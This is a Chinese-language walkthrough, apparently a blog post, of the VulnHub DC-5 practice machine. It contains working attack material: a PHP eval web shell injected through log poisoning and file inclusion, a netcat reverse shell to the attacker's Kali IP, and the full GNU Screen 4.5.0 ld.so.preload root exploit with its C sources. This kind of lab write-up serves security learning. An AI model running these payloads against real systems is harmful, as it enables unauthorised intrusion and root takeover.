vulnhub--DC5

kali ip :192.168.44.131

主机发现

nmap -sP 192.168.44.0/24

DC-5 IP:192.168.44.145

端口探测

nmap -A -p1-65535 -T4 192.168.44.145

发现有一个80端口和111端口并且运行着rpcinfo服务,44040

访问http服务

 发现留言板

 提交XSS没有反应,但是提交时,底部时间会刷新变化

 dirsearch 扫描 

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。

是一个目录扫描工具,目的是扫描网站敏感的文件和目录。

apt-get install dirsearch

dirsearch -u http://192.168.44.145 

 

 尝试访问footer.php,因为只有这个内有出现过

 每次刷新时,都会发生变化

 留言板时间也会变化,并且thankyou.php包含了footer.php页面,

尝试使用文件包含漏洞

 果然存在,抓包修改,传入一句话

<?php @eval($_POST['pass']);?>

发送到重发器

然后再修改成日志文件

执行的内容会被日志记录下来,通过whatweb查看到了是nginx1.6.2版本的

它的日志会记录在/var/log/nginx/error.log

var/log/nginx/access.log

一句话地址: http://192.168.44.145/thankyou.php?file=/var/log/nginx/error.log

蚁剑连接

 反弹交互shell

kali监听

nc -lvnp 4444

nc 192.168.44.131 4444 -e /bin/sh

 

 成功监听

 反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

 查看有suid的文件夹

find / -perm -u=s -type f 2>/dev/null

看到screen-4.5.0

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

漏洞库搜索

searchsploit screen 4.5.0

将第一个复制到桌面

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

 按照提示,先将第一部分内容写到libhax.c中,

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

gcc -fPIC -shared -ldl -o libhax.so libhax.c   #编译

 第二部分保存到rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c  #编译

 第三部分,保存到dc5.sh,在保存dc5.sh文件输入 :set ff=unix 

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

 蚁剑上传

增加可执行权限

cd /tmp
chmod +x dc5.sh
ls -l
./dc5.sh

 

 获取root权限,/root查看flag

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值